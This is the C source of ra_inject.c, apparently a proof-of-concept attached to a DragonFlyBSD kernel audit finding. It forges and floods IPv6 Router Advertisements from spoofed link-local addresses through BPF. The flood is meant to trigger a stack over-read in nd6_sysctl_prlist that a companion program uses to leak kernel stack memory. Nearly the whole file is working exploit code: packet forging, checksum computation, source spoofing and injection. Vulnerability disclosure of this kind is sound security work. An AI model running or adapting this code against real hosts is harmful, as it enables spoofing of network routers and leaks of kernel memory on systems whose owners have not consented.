DragonFlyBSD Kernel Audit
DF-0354 / ra_inject.c
← back to finding ↓ download raw
/*
 * ra_inject.c - forge and inject N Router Advertisements via BPF on the
 *               given interface, each from a unique link-local source IPv6
 *               address, all advertising the SAME prefix (2001:db8:1::/64).
 *
 * Each unique source IPv6 creates a distinct nd_defrouter entry; each one
 * advertises the same prefix, so they all get attached to that prefix's
 * pr->ndpr_advrtrs list. Once >~34 routers are attached, the buggy
 * nd6_sysctl_prlist SYSCTL_OUT reads past the 1024-byte stack buffer.
 *
 * Run as root: ./ra_inject <ifname> <n_routers>
 *   e.g. ./ra_inject vtnet0 60
 *
 * Must be root (BPF is root-only on DragonFly). This *simulates* the remote
 * attacker who floods the link with forged RAs from many sources; the
 * actual exploit step (the kernel stack leak) is the *unprivileged*
 * sysctl read done by ra_read.c.
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <net/if.h>
#include <net/bpf.h>
#include <net/ethernet.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* ND prefix info option (RFC 4861 sec 4.6.2) */
struct nd_opt_prefix_info_local {
    uint8_t  nd_opt_pi_type;
    uint8_t  nd_opt_pi_len;
    uint8_t  nd_opt_pi_prefix_len;
    uint8_t  nd_opt_pi_flags_rsvd;
    uint32_t nd_opt_pi_valid_time;
    uint32_t nd_opt_pi_preferred_time;
    uint32_t nd_opt_pi_reserved2;
    struct in6_addr nd_opt_pi_prefix;
};

static uint16_t icmp6_cksum(const struct in6_addr *src,
                            const struct in6_addr *dst,
                            const void *data, size_t len)
{
    uint32_t sum = 0;
    const uint16_t *p = (const uint16_t *)data;
    size_t i;
    for (i = 0; i + 1 < len; i += 2)
        sum += ntohs(*p++);
    if (i < len)
        sum += ((uint16_t)(((const uint8_t *)data)[i])) << 8;

    /* pseudo-header */
    for (i = 0; i < 8; i++) {
        sum += ntohs(src->__u6_addr.__u6_addr16[i]);
        sum += ntohs(dst->__u6_addr.__u6_addr16[i]);
    }
    sum += len;            /* upper-layer length (32-bit) */
    sum += IPPROTO_ICMPV6; /* next header */

    while (sum >> 16)
        sum = (sum & 0xffff) + (sum >> 16);
    return htons(~sum & 0xffff);
}

int main(int argc, char **argv)
{
    const char *ifname = (argc > 1) ? argv[1] : "vtnet0";
    int n = (argc > 2) ? atoi(argv[2]) : 60;
    char dev[16];
    int fd, i;
    struct ifreq ifr;
    struct bpf_program fprog = {0, NULL};

    /* Open first BPF device */
    for (i = 0; i < 16; i++) {
        snprintf(dev, sizeof(dev), "/dev/bpf%d", i);
        fd = open(dev, O_RDWR);
        if (fd >= 0 || errno != EBUSY)
            break;
    }
    if (fd < 0) { perror("open bpf"); return 2; }

    memset(&ifr, 0, sizeof(ifr));
    strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
    if (ioctl(fd, BIOCSETIF, &ifr) < 0) { perror("BIOCSETIF"); return 3; }

    /* Don't see our own writes back; still OK either way */
    i = 0;
    if (ioctl(fd, BIOCSSEESENT, &i) < 0) { perror("BIOCSSEESENT"); }

    /* Enable feedback: BPF write -> if_output + copy back into if_input.
     * Without this, BPF writes go OUT the interface (which on vtnet goes
     * nowhere useful) and never reach the kernel's receive path. */
    i = 1;
    if (ioctl(fd, BIOCSFEEDBACK, &i) < 0) { perror("BIOCSFEEDBACK"); }

    /* Immediate write return */
    i = 1;
    if (ioctl(fd, BIOCIMMEDIATE, &i) < 0) { perror("BIOCIMMEDIATE"); }

    /* Get BPF buffer length so writes align properly */
    u_int bpf_len = 0;
    if (ioctl(fd, BIOCGBLEN, &bpf_len) < 0) { perror("BIOCGBLEN"); bpf_len = 4096; }

    /* Query interface MAC */
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    struct ifaddrs *ifap, *p;
    unsigned char dstmac[ETHER_ADDR_LEN] = {0x33, 0x33, 0x00, 0x00, 0x00, 0x01}; /* all-nodes v6 mcast */
    /* destination Ethernet = 33:33:00:00:00:01 for ff02::1 */
    unsigned char srcmac[ETHER_ADDR_LEN] = {0x52, 0x54, 0x00, 0xaa, 0xbb, 0xcc};
    if (s >= 0) {
        memset(&ifr, 0, sizeof(ifr));
        strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
        if (ioctl(s, SIOCGIFADDR, &ifr) == 0) {
            /* fallback: leave srcmac default */
        }
        close(s);
    }

    /* Pre-build the static part: Ethernet + IPv6 + ICMPv6 RA + Prefix Info */
    unsigned char pkt[256];
    size_t off = 0;

    /* Ethernet header */
    struct ether_header *eh = (struct ether_header *)pkt;
    memcpy(eh->ether_shost, srcmac, ETHER_ADDR_LEN);
    memcpy(eh->ether_dhost, dstmac, ETHER_ADDR_LEN);
    eh->ether_type = htons(ETHERTYPE_IPV6);
    off += sizeof(*eh);

    /* IPv6 header */
    struct ip6_hdr *ip6 = (struct ip6_hdr *)(pkt + off);
    ip6->ip6_flow = 0;          /* 4-byte union with vfc — set FIRST */
    ip6->ip6_vfc  = 0x60;       /* then version=6, traffic class=0 */
    ip6->ip6_plen = htons(sizeof(struct nd_router_advert) + sizeof(struct nd_opt_prefix_info_local));
    ip6->ip6_nxt  = IPPROTO_ICMPV6;
    ip6->ip6_hlim = 255;
    /* dst = ff02::1 */
    inet_pton(AF_INET6, "ff02::1", &ip6->ip6_dst);
    off += sizeof(*ip6);

    /* ICMPv6 RA */
    struct nd_router_advert *ra = (struct nd_router_advert *)(pkt + off);
    ra->nd_ra_type = ND_ROUTER_ADVERT;
    ra->nd_ra_code = 0;
    ra->nd_ra_cksum = 0;
    ra->nd_ra_curhoplimit = 64;
    ra->nd_ra_flags_reserved = 0;
    ra->nd_ra_router_lifetime = htons(1800);
    ra->nd_ra_reachable = htonl(0);
    ra->nd_ra_retransmit = htonl(0);
    off += sizeof(*ra);

    /* Prefix info option (one common prefix for all RAs) */
    struct nd_opt_prefix_info_local *pi = (struct nd_opt_prefix_info_local *)(pkt + off);
    pi->nd_opt_pi_type = ND_OPT_PREFIX_INFORMATION;
    pi->nd_opt_pi_len = 4;
    pi->nd_opt_pi_prefix_len = 64;
    pi->nd_opt_pi_flags_rsvd = 0xc0; /* L=1, A=1 */
    pi->nd_opt_pi_valid_time = htonl(1800);
    pi->nd_opt_pi_preferred_time = htonl(1800);
    pi->nd_opt_pi_reserved2 = 0;
    inet_pton(AF_INET6, "2001:db8:1::", &pi->nd_opt_pi_prefix);
    off += sizeof(*pi);

    size_t pktlen = off;
    fprintf(stderr, "pktlen=%zu (eth=%zu ip6=%zu ra=%zu pi=%zu)\n",
            pktlen, sizeof(*eh), sizeof(*ip6), sizeof(*ra), sizeof(*pi));

    /* Loop: each iteration uses a unique source fe80::N */
    char srcstr[64];
    int ok = 0;
    for (i = 1; i <= n; i++) {
        /* forge unique link-local source */
        snprintf(srcstr, sizeof(srcstr), "fe80::1%02x:%02x", i & 0xff, (i >> 8) + 0x10);
        if (inet_pton(AF_INET6, srcstr, &ip6->ip6_src) != 1) {
            fprintf(stderr, "bad src %s\n", srcstr);
            continue;
        }
        /* recompute ICMPv6 cksum */
        ra->nd_ra_cksum = 0;
        ra->nd_ra_cksum = icmp6_cksum(&ip6->ip6_src, &ip6->ip6_dst,
                                      ra, sizeof(*ra) + sizeof(*pi));

        ssize_t w = write(fd, pkt, pktlen);
        if (w < 0) {
            if (errno == ENETDOWN || errno == ENOBUFS) {
                /* try a tiny sleep then continue */
                usleep(2000);
                continue;
            }
            fprintf(stderr, "write failed i=%d: %s\n", i, strerror(errno));
            continue;
        }
        if ((size_t)w != pktlen) {
            fprintf(stderr, "short write i=%d w=%zd\n", i, w);
        }
        ok++;
    }
    fprintf(stderr, "injected %d/%d RAs\n", ok, n);

    /* give kernel a moment to process via netisr */
    usleep(100000);
    close(fd);
    return 0;
}